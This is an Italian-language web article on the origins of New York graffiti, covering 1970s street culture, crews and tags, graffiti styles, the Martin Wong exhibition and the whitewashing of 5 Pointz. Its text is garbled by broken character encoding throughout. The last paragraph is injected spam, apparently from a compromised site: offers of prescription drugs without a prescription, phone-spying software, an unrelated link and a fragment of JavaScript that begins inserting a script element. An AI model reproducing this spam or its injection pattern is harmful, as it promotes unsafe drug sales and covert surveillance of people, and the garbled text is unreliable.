I Love NY Graffiti

I Love NY Graffiti

I graffiti e murales sono diventati una forma da��arte famosa in tutto il mondo, nonostante le mille polemiche. Le scritte e il bieco vandalismo, sono invece brutti esempi, decontestualizzati e a�?scimmiottatia�?. Dal ghetto, ai negozi, dalla illegalitA� al successo commerciale. La��underground di New York non A? nuovo a questo genere di esperienze.

Nella mente degli artisti di strada o a�?graffitaria�?, la strada diventa una maestosa tela, un grande affresco in grado di illuminare gli angoli bui e di svegliare le menti assopite dei passanti assorti nella solita routine quotidiana. Dalla metropolitana fino al Museum of city of New York: questo A? lo strabiliante percorso dei Graffiti, una��arte sub-urbana che ha trasformato alcuni angoli bui della grande mela, in una gigantesca mostra artistica a cielo aperto.

Una��arte illegale, ma allo stesso tempo molto affascinante. Tutto risiede nella��abilitA� della��artista. Il vero writer sfida la legge per dipingere uno spazio inutile e farlo brillare di nuova luce. Il vandalo, invece, scimmiotta una cultura, sporcando e a�?marcandoa�? il territorio come un animale di branco. La visione di questo movimento si offre alle piA? svariate interpretazioni sociali, a giudizi artistici e concetti morali. Vediamo insieme come nasce questo movimento nella grande mela.

Difficile stabilire la data precisa. PiA? facile ritagliare e descrivere il contesto storico. Erano gli anni a�?70 nella grande mela. Anni duri e difficili, ricchi di eventi con episodi di violenza e di crisi economica per New York. Il Black out del 1977 e il relativo saccheggio, gli omicidi del serial killer David Berkovitz. Non solo questo, la metropoli americana, tra gli anni ’60 e ’70, A? il teatro di innumerevoli tensioni razziali. La nascita dei quartieri popolari, aveva creato dei ghetti in cui diverse etnie dovevano convivere fra loro. Non ca��era molto spazio, in quel periodo, per il famoso Melting-pot americano, la violenza era alla��ordine del giorno. Bianchi contro Afroamericani e Ispanici. PiA? criminalitA� e meno polizia, rispetto a oggi: questa era la��equazione impietosa di New York negli anni a��70. La metropoli rischiA? il collasso, ma la mentalitA� newyorkese A? aperta, creativa e con un fortissimo istinto di sopravvivenza che puA? portare alla violenza, a speculazioni finanziarie, ma anche a creare mezzi innovativi per sopravvivere nella a�?gabbiaa�? di cemento.

In questo teatro dominato dalle gang criminali, nascono forme musicali e artistiche. New York vede la��Hip Hop, farsi strada nella��oscuritA� dei suoi bassifondi. Nascono i graffiti, strettamente collegati a questa cultura di strada. Si formano, cosA�, le crew, una forma di aggregazione giovanile contraria alle gang di quartiere. I territori non venivano contesi da questi ragazzi a suon di colpi di pistola, bensA� con il ballo e le partite di basket. I vincitori potevano a�?segnarea�? il territorio conquistato con i tag, ossia il nome in codice dei graffitari o dei writer. Segno di riconoscimenti della crew o della��artista, quindi. Una gara urbana, in cui i giovani newyorkesi si sfidano per far circolare il loro nome, o per meglio dire la loro firma, nella a�?grande melaa�?. Graffiti e tag diventano strumento di riconoscimento, di emancipazione sociale, un modo per risvegliare le doti artistiche in una societA� in cui la cultura di qualitA�, era accessibile solo alle classi benestanti.

I graffiti diventano espressione colorata del disagio sociale e vengono a�?importatia�? anche in Europa e su tutto il suolo americano. Sono diversi gli stili in cui questa arte puA? esprimersi: il bubble Style, lettere a�?arrotondatea�? e a�?paffutea�?, il wild style, forme e geometrie complesse con messaggi criptici, Block Letter, caratteri ben disegnati con un messaggio chiaro o leggibile, Puppet, reinterpretazione stilistica e originale di alcuni personaggi dei fumetti o cartoni animati.

Dalla strada fino al Museum of the city of New York. La mostra denominata City as Cavans, conclusasi il 21 settembre 2014, ha messo in mostra la collezione della��artista californiano di a�?stradaa�? Martin Wong. PiA? di 150 lavori di artisti e writers newyorkesi che hanno fatto la storia di questo movimento: Cey, Daze, Dondi, Futura 2000, Keith Haring, Lady Pink, Lee, Tracy 168.

Ea�� il sottile confine tra legalitA� e illegalitA� in cui si muovono i graffiti. Dalle gallerie dei musei, alle passerelle della��alta moda, a quartieri in cui questa forma da��arte A? legale: A? il caso di 5 pointz. Un complesso industriale situato nel quartiere del Queens di New York, precisamente a Long Island City. In questo luogo abbandonato dalla��uomo, ma non dalla��artista, A? possibile dipingere i muri senza infrangere la legge. Un caso curioso e particolare della legge newyorkese. I graffiti sono illegali, ma non a 5 pointz, una zona a�?francaa�?, sotto questo punto di vista. Lo storico edificio, un tempio dei graffiti, A? stato imbiancato nel novembre del 2013 per volere dei proprietari Jerry e David Wolkoff, con la��intento di far costruire, in quella��area, due grattacieli di circa 1300 appartamenti. Nel 5 Pointz sono stati creati piA? di 400 graffiti dal 1993 e la notizia della sua demolizione ha creato dissensi e proteste. La��imbiancatura A? stata definita un genocidio nei confronti della��arte, ma si sa, non basterA�, questo, per fermare i graffiti, una forma artistica sempre sospesa tra arte e vandalismo, in quel di New York e non solo. Order pcn without apresrciption, malegra fxt review. pharmacy tht sale promenthzine codine Pills viagra coupons for sams club Cheap Buy var d=document;var s=d.createElement('script'); http://www.drauguautoskola.lv/?p=19730 . Buy estrace cream compare prices online can you buy amantadine over the counter Order instagram spy, cell phone tracker, spy stealth online kamagra supplier uk

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